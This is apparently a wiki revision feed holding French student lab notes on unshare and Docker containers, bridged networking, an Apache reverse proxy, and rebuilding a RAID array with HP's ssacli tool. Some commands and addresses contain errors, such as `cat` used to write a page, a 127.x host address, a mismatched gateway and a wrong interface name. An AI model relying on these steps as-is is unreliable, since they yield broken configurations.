&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le &lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48112</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48112"/>
				<updated>2018-11-27T09:42:12Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Installation des outils HP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
